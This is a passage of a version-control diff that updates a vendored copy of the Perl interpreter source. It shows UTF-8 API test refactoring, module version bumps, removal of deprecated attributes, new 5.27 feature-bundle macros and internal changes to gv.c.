+                    $this_flags = $this_warning_flags|$this_disallow_flags;
                     $eval_text = "$eval_warn; \$ret ="
-                            . " test_uvchr_to_utf8_flags("
-                            . "$allowed_uv, $warn_flag|"
-                            . "$disallow_flag)";
+                            . " test_$uvchr_func("
+                            . "$allowed_uv, $this_flags)";
                     eval "$eval_text";
-                    if (! ok ("$@ eq ''", "$this_name: eval succeeded"))
+                    if (! ok ($@ eq "", "$this_name: eval succeeded"))
                     {
-                        diag "\$!='$!'; eval'd=\"$eval_text\"";
+                        diag "\$@='$@'; call was: "
+                           . uvchr_display_call($eval_text);
                         next;
                     }
+
+                    if ($which_func) {
+                        if (defined $ret->[1]) {
+                            my @returned_warnings;
+                            push @returned_warnings, $ret->[1]{'text'};
+                            my $text = $ret->[1]{'text'};
+                            my $flag = $ret->[1]{'flag_bit'};
+                            my $category = $ret->[1]{'warning_category'};
+
+                            if (! ok(($flag & ($flag-1)) == 0,
+                                        "flag for returned msg is a single bit"))
+                            {
+                                diag sprintf("flags are %x; msg=%s", $flag, $text);
+                            }
+                            else {
+                                if ($flag & $this_uvchr_flag_to_disallow) {
+                                    pass("flag for returned msg is expected");
+                                }
+                                else {
+                                    fail("flag ("
+                                        . flags_to_text($flag, \@utf8n_flags_to_text)
+                                        . ") for returned msg is expected");
+                                }
+                            }
+
+                            # In perl space, don't know the category numbers
+                            isnt($category, 0,
+                                            "returned category for msg isn't 0");
+
+                            ok(@warnings_gotten == 0, "$uvchr_func raised no warnings;"
+                                . " the next tests are for ones in the returned"
+                                . " variable")
+                                or diag join "\n", "The unexpected warnings were:",
+                                                                @warnings_gotten;
+                            @warnings_gotten = @returned_warnings;
+                        }
+
+                        $ret = $ret->[0];
+                    }
+
                     if ($disallowed) {
-                        is($ret, undef, "$this_name: Returns undef")
-                          or diag $call;
+                        is($ret, undef, "    And returns undef")
+                          or diag "Call was: " . uvchr_display_call($eval_text);
                     }
                     else {
-                        is($ret, $bytes, "$this_name: Returns expected string")
-                          or diag $call;
+                        is($ret, $this_bytes, "    And returns expected string")
+                          or diag "Call was: " . uvchr_display_call($eval_text);
                     }
-                    if (! $do_warning
-                        && ($warning eq 'utf8' || $warning eq $category))
-                    {
-                        if (!is(scalar @warnings, 0,
-                                "$this_name: No warnings generated"))
-                        {
-                            diag $call;
-                            output_warnings(@warnings);
-                        }
-                    }
-                    elsif (       $uvchr_warn_flag
-                        && (   $warning eq 'utf8'
-                            || $warning eq $category))
-                    {
-                        if (is(scalar @warnings, 1,
-                            "$this_name: Got a single warning "))
-                        {
-                            like($warnings[0], $message,
-                                    "$this_name: Got expected warning")
-                                or diag $call;
-                        }
-                        else {
-                            diag $call;
-                            output_warnings(@warnings)
-                                                if scalar @warnings;
-                        }
-                    }
+
+                    do_warnings_test(@expected_warnings)
+                      or diag "Call was: " . uvchr_display_call($eval_text);
                 }
               }
             }
@@ -1054,6 +1874,7 @@
         }
       }
     }
+  }
 }
 
 done_testing;

Modified: vendor/perl/dist/ext/XS-APItest/t/xsub_h.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/xsub_h.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/xsub_h.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 BEGIN { use_ok('XS::APItest') };
 
-use vars qw($XS_VERSION $VERSION);
+our ($XS_VERSION, $VERSION);
 
 # This is what the code expects
 my $real_version = $XS::APItest::VERSION;

Modified: vendor/perl/dist/ext/XS-APItest/typemap
===================================================================
--- vendor/perl/dist/ext/XS-APItest/typemap	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/typemap	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,7 @@
 XS::APItest::PtrTable		T_PTROBJ
 
 const WCHAR *			WPV
+U8 *		                T_PV
 
 INPUT
 

Modified: vendor/perl/dist/ext/XS-Typemap/Typemap.pm
===================================================================
--- vendor/perl/dist/ext/XS-Typemap/Typemap.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-Typemap/Typemap.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,11 +34,9 @@
 use parent qw/ Exporter /;
 require XSLoader;
 
-use vars qw/ $VERSION @EXPORT /;
+our $VERSION = '0.16';
 
-$VERSION = '0.15';
-
- at EXPORT = (qw/
+our @EXPORT = (qw/
 	   T_SV
 	   T_SVREF
 	   T_SVREF_REFCOUNT_FIXED

Modified: vendor/perl/dist/ext/arybase/arybase.pm
===================================================================
--- vendor/perl/dist/ext/arybase/arybase.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/arybase/arybase.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package arybase;
 
-our $VERSION = "0.12";
+our $VERSION = "0.15";
 
 require XSLoader;
 XSLoader::load(); # This returns true, which makes require happy.

Modified: vendor/perl/dist/ext/arybase/arybase.xs
===================================================================
--- vendor/perl/dist/ext/arybase/arybase.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/arybase/arybase.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,9 +26,7 @@
 STATIC const ab_op_info *ab_map_fetch(const OP *o, ab_op_info *oi) {
  const ab_op_info *val;
 
-#ifdef USE_ITHREADS
  MUTEX_LOCK(&ab_op_map_mutex);
-#endif
 
  val = (ab_op_info *)ptable_fetch(ab_op_map, o);
  if (val) {
@@ -36,9 +34,7 @@
   val = oi;
  }
 
-#ifdef USE_ITHREADS
  MUTEX_UNLOCK(&ab_op_map_mutex);
-#endif
 
  return val;
 }
@@ -65,28 +61,20 @@
 {
 #define ab_map_store(O, PP, B) ab_map_store(aPTBLMS_ (O),(PP),(B))
 
-#ifdef USE_ITHREADS
  MUTEX_LOCK(&ab_op_map_mutex);
-#endif
 
  ab_map_store_locked(o, old_pp, base);
 
-#ifdef USE_ITHREADS
  MUTEX_UNLOCK(&ab_op_map_mutex);
-#endif
 }
 
 STATIC void ab_map_delete(pTHX_ const OP *o) {
 #define ab_map_delete(O) ab_map_delete(aTHX_ (O))
-#ifdef USE_ITHREADS
  MUTEX_LOCK(&ab_op_map_mutex);
-#endif
 
  ptable_map_store(ab_op_map, o, NULL);
 
-#ifdef USE_ITHREADS
  MUTEX_UNLOCK(&ab_op_map_mutex);
-#endif
 }
 
 /* ... $[ Implementation .............................................. */
@@ -165,11 +153,15 @@
 #define ab_process_assignment(l, r) \
     ab_process_assignment(aTHX_ (l), (r))
  if (ab_op_is_dollar_bracket(left) && right->op_type == OP_CONST) {
-  set_arybase_to(SvIV(cSVOPx_sv(right)));
+  IV base = SvIV(cSVOPx_sv(right));
+  set_arybase_to(base);
   ab_neuter_dollar_bracket(left);
-  Perl_ck_warner_d(aTHX_
-   packWARN(WARN_DEPRECATED), "Use of assignment to $[ is deprecated"
-  );
+  if (base) {
+    Perl_ck_warner_d(aTHX_
+     packWARN(WARN_DEPRECATED), "Use of assignment to $[ is deprecated"
+                                ", and will be fatal in Perl 5.30"
+    );
+  }
  }
 }
 
@@ -412,9 +404,7 @@
 {
     if (!ab_initialized++) {
 	ab_op_map = ptable_new();
-#ifdef USE_ITHREADS
 	MUTEX_INIT(&ab_op_map_mutex);
-#endif
 #define check(uc,lc,ck) \
 		wrap_op_checker(OP_##uc, ab_ck_##ck, &ab_old_ck_##lc)
 	check(SASSIGN,  sassign,  sassign);

Modified: vendor/perl/dist/ext/attributes/attributes.pm
===================================================================
--- vendor/perl/dist/ext/attributes/attributes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/attributes/attributes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package attributes;
 
-our $VERSION = 0.29;
+our $VERSION = 0.33;
 
 @EXPORT_OK = qw(get reftype);
 @EXPORT = ();
@@ -18,10 +18,9 @@
     goto &Carp::carp;
 }
 
+# Hash of SV type (CODE, SCALAR, etc.) to regex matching deprecated
+# attributes for that type.
 my %deprecated;
-$deprecated{CODE} = qr/\A-?(locked)\z/;
-$deprecated{ARRAY} = $deprecated{HASH} = $deprecated{SCALAR}
-    = qr/\A-?(unique)\z/;
 
 my %msg = (
     lvalue => 'lvalue attribute applied to already-defined subroutine',
@@ -31,7 +30,7 @@
 
 sub _modify_attrs_and_deprecate {
     my $svtype = shift;
-    # Now that we've removed handling of locked from the XS code, we need to
+    # After we've removed a deprecated attribute from the XS code, we need to
     # remove it here, else it ends up in @badattrs. (If we do the deprecation in
     # XS, we can't control the warning based on *our* caller's lexical settings,
     # and the warned line is in this package)
@@ -256,12 +255,6 @@
 If illegalproto warnings are enabled, the prototype declared inside this
 attribute will be sanity checked at compile time.
 
-=item locked
-
-The "locked" attribute is deprecated, and has no effect in 5.10.0 and later.
-It was used as part of the now-removed "Perl 5.005 threads". It will
-disappear in Perl 5.28, after which its use will be fatal.
-
 =item const
 
 This experimental attribute, introduced in Perl 5.22, only applies to
@@ -280,14 +273,6 @@
 Indicates that the referenced variable can be shared across different threads
 when used in conjunction with the L<threads> and L<threads::shared> modules.
 
-=item unique
-
-The "unique" attribute is deprecated, and has no effect in 5.10.0 and later.
-It used to indicate that a single copy of an C<our> variable was to be used by
-all interpreters should the program happen to be running in a
-multi-interpreter environment. It will disappear in 5.28, after which its
-use will be fatal.
-
 =back
 
 =head2 Available Subroutines

Modified: vendor/perl/dist/ext/attributes/attributes.xs
===================================================================
--- vendor/perl/dist/ext/attributes/attributes.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/attributes/attributes.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,6 +15,8 @@
  *     [p.597 of _The Lord of the Rings_, III/xi: "The Palantír"]
  */
 
+#define PERL_EXT
+
 #define PERL_NO_GET_CONTEXT
 
 #include "EXTERN.h"
@@ -44,7 +46,7 @@
 	case SVt_PVCV:
 	    switch ((int)len) {
 	    case 5:
-		if (_memEQs(name, "const")) {
+		if (memEQs(name, 5, "const")) {
 		    if (negated)
 			CvANONCONST_off(sv);
 		    else {
@@ -60,11 +62,11 @@
 	    case 6:
 		switch (name[3]) {
 		case 'l':
-		    if (_memEQs(name, "lvalue")) {
+		    if (memEQs(name, 6, "lvalue")) {
 			bool warn =
 			    !CvISXSUB(MUTABLE_CV(sv))
 			 && CvROOT(MUTABLE_CV(sv))
-			 && !CvLVALUE(MUTABLE_CV(sv)) != negated;
+			 && cBOOL(CvLVALUE(MUTABLE_CV(sv))) == negated;
 			if (negated)
 			    CvFLAGS(MUTABLE_CV(sv)) &= ~CVf_LVALUE;
 			else
@@ -74,7 +76,7 @@
 		    }
 		    break;
 		case 'h':
-		    if (_memEQs(name, "method")) {
+		    if (memEQs(name, 6, "method")) {
 			if (negated)
 			    CvFLAGS(MUTABLE_CV(sv)) &= ~CVf_METHOD;
 			else
@@ -85,8 +87,9 @@
 		}
 		break;
 	    default:
-		if (len > 10 && _memEQs(name, "prototype(")) {
-		    SV * proto = newSVpvn(name+10,len-11);
+		if (memBEGINPs(name, len, "prototype(")) {
+                    const STRLEN proto_len = sizeof("prototype(") - 1;
+		    SV * proto = newSVpvn(name + proto_len, len - proto_len - 1);
 		    HEK *const hek = CvNAME_HEK((CV *)sv);
 		    SV *subname;
 		    if (name[len-1] != ')')
@@ -96,7 +99,7 @@
 		    else
 			subname=(SV *)CvGV((const CV *)sv);
 		    if (ckWARN(WARN_ILLEGALPROTO))
-			Perl_validate_proto(aTHX_ subname, proto, TRUE);
+			Perl_validate_proto(aTHX_ subname, proto, TRUE, 0);
 		    Perl_cv_ckproto_len_flags(aTHX_ (const CV *)sv,
 		                                    (const GV *)subname,
 		                                    name+10,

Modified: vendor/perl/dist/ext/mro/mro.pm
===================================================================
--- vendor/perl/dist/ext/mro/mro.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/mro/mro.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,8 +12,11 @@
 
 # mro.pm versions < 1.00 reserved for MRO::Compat
 #  for partial back-compat to 5.[68].x
-our $VERSION = '1.20';
+our $VERSION = '1.22';
 
+require XSLoader;
+XSLoader::load('mro');
+
 sub import {
     mro::set_mro(scalar(caller), $_[1]) if $_[1];
 }
@@ -37,9 +40,6 @@
     return;
 }
 
-require XSLoader;
-XSLoader::load('mro');
-
 1;
 
 __END__
@@ -308,7 +308,7 @@
 
 =over 4
 
-=item L<http://haahr.tempdomainname.com/dylan/linearization-oopsla96.html>
+=item L<http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.19.3910&rep=rep1&type=pdf>
 
 =back
 

Modified: vendor/perl/dist/ext/re/re.pm
===================================================================
--- vendor/perl/dist/ext/re/re.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/re/re.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION     = "0.34";
+our $VERSION     = "0.36";
 our @ISA         = qw(Exporter);
 our @EXPORT_OK   = ('regmust',
                     qw(is_regexp regexp_pattern

Modified: vendor/perl/dist/ext/re/re.xs
===================================================================
--- vendor/perl/dist/ext/re/re.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/re/re.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,6 @@
 #if defined(PERL_EXT_RE_DEBUG) && !defined(DEBUGGING)
 #  define DEBUGGING
+#  define DEBUGGING_RE_ONLY
 #endif
 
 #define PERL_NO_GET_CONTEXT
@@ -17,7 +18,7 @@
 
 extern REGEXP*	my_re_compile (pTHX_ SV * const pattern, const U32 pm_flags);
 extern REGEXP*	my_re_op_compile (pTHX_ SV ** const patternp, int pat_count,
-		    OP *expr, const regexp_engine* eng, REGEXP *VOL old_re,
+		    OP *expr, const regexp_engine* eng, REGEXP *volatile old_re,
 		     bool *is_bare_re, U32 rx_flags, U32 pm_flags);
 
 extern I32	my_regexec (pTHX_ REGEXP * const prog, char* stringarg, char* strend,

Modified: vendor/perl/dist/ext/re/re_top.h
===================================================================
--- vendor/perl/dist/ext/re/re_top.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/re/re_top.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,6 +5,7 @@
 /* need access to debugger hooks */
 #if defined(PERL_EXT_RE_DEBUG) && !defined(DEBUGGING)
 #  define DEBUGGING
+#  define DEBUGGING_RE_ONLY
 #endif
 
 /* We *really* need to overwrite these symbols: */

Modified: vendor/perl/dist/fakesdio.h
===================================================================
--- vendor/perl/dist/fakesdio.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/fakesdio.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-/*    fakestdio.h
+/*    fakesdio.h
  *
  *    Copyright (C) 2000, by Larry Wall and others
  *

Modified: vendor/perl/dist/feature.h
===================================================================
--- vendor/perl/dist/feature.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/feature.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,6 +14,7 @@
 #define FEATURE_BUNDLE_511	2
 #define FEATURE_BUNDLE_515	3
 #define FEATURE_BUNDLE_523	4
+#define FEATURE_BUNDLE_527	5
 #define FEATURE_BUNDLE_CUSTOM	(HINT_FEATURE_MASK >> HINT_FEATURE_SHIFT)
 
 #define CURRENT_HINTS \
@@ -33,7 +34,7 @@
 #define FEATURE_FC_IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("fc")) \
     )
@@ -41,7 +42,7 @@
 #define FEATURE_SAY_IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_510 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("say")) \
     )
@@ -49,7 +50,7 @@
 #define FEATURE_STATE_IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_510 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("state")) \
     )
@@ -57,7 +58,7 @@
 #define FEATURE_SWITCH_IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_510 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("switch")) \
     )
@@ -64,14 +65,15 @@
 
 #define FEATURE_BITWISE_IS_ENABLED \
     ( \
-	CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
-	 FEATURE_IS_ENABLED("bitwise") \
+	CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_527 \
+     || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
+	 FEATURE_IS_ENABLED("bitwise")) \
     )
 
 #define FEATURE_EVALBYTES_IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("evalbytes")) \
     )
@@ -92,7 +94,7 @@
 #define FEATURE___SUB___IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("__SUB__")) \
     )
@@ -105,7 +107,8 @@
 
 #define FEATURE_POSTDEREF_QQ_IS_ENABLED \
     ( \
-	CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_523 \
+	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_523 && \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("postderef_qq")) \
     )
@@ -113,7 +116,7 @@
 #define FEATURE_UNIEVAL_IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_515 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("unieval")) \
     )
@@ -127,7 +130,7 @@
 #define FEATURE_UNICODE_IS_ENABLED \
     ( \
 	(CURRENT_FEATURE_BUNDLE >= FEATURE_BUNDLE_511 && \
-	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_523) \
+	 CURRENT_FEATURE_BUNDLE <= FEATURE_BUNDLE_527) \
      || (CURRENT_FEATURE_BUNDLE == FEATURE_BUNDLE_CUSTOM && \
 	 FEATURE_IS_ENABLED("unicode")) \
     )
@@ -142,6 +145,9 @@
     SV *comp_ver = sv_newmortal();
     PL_hints = (PL_hints &~ HINT_FEATURE_MASK)
 	     | (
+		  (sv_setnv(comp_ver, 5.027),
+		   vcmp(ver, upg_version(comp_ver, FALSE)) >= 0)
+			? FEATURE_BUNDLE_527 :
 		  (sv_setnv(comp_ver, 5.023),
 		   vcmp(ver, upg_version(comp_ver, FALSE)) >= 0)
 			? FEATURE_BUNDLE_523 :

Modified: vendor/perl/dist/globvar.sym
===================================================================
--- vendor/perl/dist/globvar.sym	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/globvar.sym	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,6 +3,7 @@
 # *** Usual globals initialized at runtime should be added in *var*.h.
 
 PL_No
+PL_Zero
 PL_Yes
 PL_bincompat_options
 PL_bitcount

Modified: vendor/perl/dist/gv.c
===================================================================
--- vendor/perl/dist/gv.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/gv.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -83,8 +83,8 @@
     if (!*where)
     {
 	*where = newSV_type(type);
-	    if (type == SVt_PVAV && GvNAMELEN(gv) == 3
-	     && strEQs(GvNAME(gv), "ISA"))
+	    if (type == SVt_PVAV
+	     && memEQs(GvNAME(gv), GvNAMELEN(gv), "ISA"))
 	    sv_magic(*where, (SV *)gv, PERL_MAGIC_isa, NULL, 0);
     }
     return gv;
@@ -373,6 +373,9 @@
     const U32 proto_utf8  = proto ? SvUTF8(gv) : 0;
     SV *const has_constant = doproto && SvROK(gv) ? SvRV(gv) : NULL;
     const U32 exported_constant = has_constant ? SvPCS_IMPORTED(gv) : 0;
+    const bool really_sub =
+	has_constant && SvTYPE(has_constant) == SVt_PVCV;
+    COP * const old = PL_curcop;
 
     PERL_ARGS_ASSERT_GV_INIT_PVN;
     assert (!(proto && has_constant));
@@ -385,6 +388,7 @@
 	case SVt_PVIO:
             Perl_croak(aTHX_ "Cannot convert a reference to %s to typeglob",
 		       sv_reftype(has_constant, 0));
+            NOT_REACHED; /* NOTREACHED */
             break;
 
 	default: NOOP;
@@ -410,7 +414,12 @@
     SvIOK_off(gv);
     isGV_with_GP_on(gv);
 
+    if (really_sub && !CvISXSUB(has_constant) && CvSTART(has_constant)
+     && (  CvSTART(has_constant)->op_type == OP_NEXTSTATE
+	|| CvSTART(has_constant)->op_type == OP_DBSTATE))
+	PL_curcop = (COP *)CvSTART(has_constant);
     GvGP_set(gv, Perl_newGP(aTHX_ gv));
+    PL_curcop = old;
     GvSTASH(gv) = stash;
     if (stash)
 	Perl_sv_add_backref(aTHX_ MUTABLE_SV(stash), MUTABLE_SV(gv));
@@ -417,11 +426,11 @@
     gv_name_set(gv, name, len, GV_ADD | ( flags & SVf_UTF8 ? SVf_UTF8 : 0 ));
     if (flags & GV_ADDMULTI || doproto)	/* doproto means it */
 	GvMULTI_on(gv);			/* _was_ mentioned */
-    if (has_constant && SvTYPE(has_constant) == SVt_PVCV) {
+    if (really_sub) {
 	/* Not actually a constant.  Just a regular sub.  */
 	CV * const cv = (CV *)has_constant;
 	GvCV_set(gv,cv);
-	if (CvSTASH(cv) == stash && (
+	if (CvNAMED(cv) && CvSTASH(cv) == stash && (
 	       CvNAME_HEK(cv) == GvNAME_HEK(gv)
 	    || (  HEK_LEN(CvNAME_HEK(cv)) == HEK_LEN(GvNAME_HEK(gv))
 	       && HEK_FLAGS(CvNAME_HEK(cv)) != HEK_FLAGS(GvNAME_HEK(gv))
@@ -607,11 +616,12 @@
 	PL_compcv = oldcompcv;
     }
     if (cv) {
-        SV *opnumsv = opnum ? newSVuv((UV)opnum) : (SV *)NULL;
-        cv_set_call_checker(
-          cv, Perl_ck_entersub_args_core, opnumsv ? opnumsv : (SV *)cv
-        );
-        SvREFCNT_dec(opnumsv);
+	SV *opnumsv = newSViv(
+	    (opnum == OP_ENTEREVAL && len == 9 && memEQ(name, "evalbytes", 9)) ?
+		(OP_ENTEREVAL | (1<<16))
+	    : opnum ? opnum : (((I32)name[2]) << 16));
+        cv_set_call_checker_flags(cv, Perl_ck_entersub_args_core, opnumsv, 0);
+	SvREFCNT_dec_NN(opnumsv);
     }
 
     return gv;
@@ -637,7 +647,8 @@
     STRLEN namelen;
     PERL_ARGS_ASSERT_GV_FETCHMETH_SV;
     if (LIKELY(SvPOK_nog(namesv))) /* common case */
-        return gv_fetchmeth_internal(stash, namesv, NULL, 0, level, flags);
+        return gv_fetchmeth_internal(stash, namesv, NULL, 0, level,
+                                     flags | SvUTF8(namesv));
     namepv = SvPV(namesv, namelen);
     if (SvUTF8(namesv)) flags |= SVf_UTF8;
     return gv_fetchmeth_pvn(stash, namepv, namelen, level, flags);
@@ -769,8 +780,8 @@
             return 0;
         }
 	else if (stash == cachestash
-	      && len > 1 /* shortest is uc */ && HvNAMELEN_get(stash) == 4
-              && strEQs(hvname, "CORE")
+	      && len > 1 /* shortest is uc */
+              && memEQs(hvname, HvNAMELEN_get(stash), "CORE")
               && S_maybe_add_coresub(aTHX_ NULL,topgv,name,len))
 	    goto have_gv;
     }
@@ -793,11 +804,13 @@
 
         assert(cstash);
 
-        gvp = (GV**)hv_fetch(cstash, name, is_utf8 ? -(I32)len : (I32)len, 0);
+        gvp = (GV**)hv_common(
+            cstash, meth, name, len, is_utf8 ? HVhek_UTF8 : 0, HV_FETCH_JUST_SV, NULL, 0
+        );
         if (!gvp) {
             if (len > 1 && HvNAMELEN_get(cstash) == 4) {
                 const char *hvname = HvNAME(cstash); assert(hvname);
-                if (strEQs(hvname, "CORE")
+                if (strBEGINs(hvname, "CORE")
                  && (candidate =
                       S_maybe_add_coresub(aTHX_ cstash,NULL,name,len)
                     ))
@@ -1063,7 +1076,7 @@
 			 origname, HvENAME_get(stash), name) );
 	}
         else if ( sep_len >= 7 &&
-		 strEQs(last_separator - 7, "::SUPER")) {
+		 strBEGINs(last_separator - 7, "::SUPER")) {
             /* don't autovifify if ->NoSuchStash::SUPER::method */
             stash = gv_stashpvn(origname, sep_len - 7, is_utf8);
 	    if (stash) flags |= GV_SUPER;
@@ -1080,9 +1093,10 @@
 	/* This is the special case that exempts Foo->import and
 	   Foo->unimport from being an error even if there's no
 	  import/unimport subroutine */
-	if (strEQ(name,"import") || strEQ(name,"unimport"))
-	    gv = MUTABLE_GV(&PL_sv_yes);
-	else if (autoload)
+	if (strEQ(name,"import") || strEQ(name,"unimport")) {
+	    gv = (GV*)sv_2mortal((SV*)newCONSTSUB_flags(NULL,
+						NULL, 0, 0, NULL));
+	} else if (autoload)
 	    gv = gv_autoload_pvn(
 		ostash, name, name_end - name, GV_AUTOLOAD_ISMETHOD|flags
 	    );
@@ -1209,16 +1223,14 @@
 	return NULL;
 
     /*
-     * Inheriting AUTOLOAD for non-methods works ... for now.
+     * Inheriting AUTOLOAD for non-methods no longer works
      */
     if (
         !(flags & GV_AUTOLOAD_ISMETHOD)
      && (GvCVGEN(gv) || GvSTASH(gv) != stash)
     )
-	Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED),
-			 "Use of inherited AUTOLOAD for non-method %" SVf
-			 "::%" UTF8f "() is deprecated. This will be "
-                         "fatal in Perl 5.28",
+        Perl_croak(aTHX_ "Use of inherited AUTOLOAD for non-method %" SVf
+                         "::%" UTF8f "() is no longer allowed",
 			 SVfARG(packname),
                          UTF8fARG(is_utf8, len, name));
 
@@ -1262,7 +1274,7 @@
 	    sv_setsv_nomg((SV *)cv, tmpsv);
 	    SvTEMP_off(tmpsv);
 	    SvREFCNT_dec_NN(tmpsv);
-	    SvLEN(cv) = SvCUR(cv) + 1;
+	    SvLEN_set(cv, SvCUR(cv) + 1);
 	    SvCUR(cv) = ulen;
 	}
 	else {
@@ -1338,13 +1350,19 @@
       GV **gvp;
       dSP;
 
+      PUSHSTACKi(PERLSI_MAGIC);
       ENTER;
 
-#define HV_FETCH_TIE_FUNC (GV **)hv_fetchs(stash, "_tie_it", 0)
+#define GET_HV_FETCH_TIE_FUNC				 \
+    (  (gvp = (GV **)hv_fetchs(stash, "_tie_it", 0))	  \
+    && *gvp						   \
+    && (  (isGV(*gvp) && GvCV(*gvp))			    \
+       || (SvROK(*gvp) && SvTYPE(SvRV(*gvp)) == SVt_PVCV)  ) \
+    )
 
       /* Load the module if it is not loaded.  */
       if (!(stash = gv_stashpvn(name, len, 0))
-       || !(gvp = HV_FETCH_TIE_FUNC) || !*gvp || !GvCV(*gvp))
+       || ! GET_HV_FETCH_TIE_FUNC)
       {
 	SV * const module = newSVpvn(name, len);
 	const char type = varname == '[' ? '$' : '%';
@@ -1356,17 +1374,18 @@
 	if (!stash)
 	    Perl_croak(aTHX_ "panic: Can't use %c%c because %s is not available",
 		    type, varname, name);
-	else if (!(gvp = HV_FETCH_TIE_FUNC) || !*gvp || !GvCV(*gvp))
+	else if (! GET_HV_FETCH_TIE_FUNC)
 	    Perl_croak(aTHX_ "panic: Can't use %c%c because %s does not define _tie_it",
 		    type, varname, name);
       }
       /* Now call the tie function.  It should be in *gvp.  */
-      assert(gvp); assert(*gvp); assert(GvCV(*gvp));
+      assert(gvp); assert(*gvp);
       PUSHMARK(SP);
       XPUSHs((SV *)gv);
       PUTBACK;
       call_sv((SV *)*gvp, G_VOID|G_DISCARD);
       LEAVE;
+      POPSTACK;
     }
 }
 
@@ -1593,9 +1612,11 @@
                STRLEN *len, const char *nambeg, STRLEN full_len,
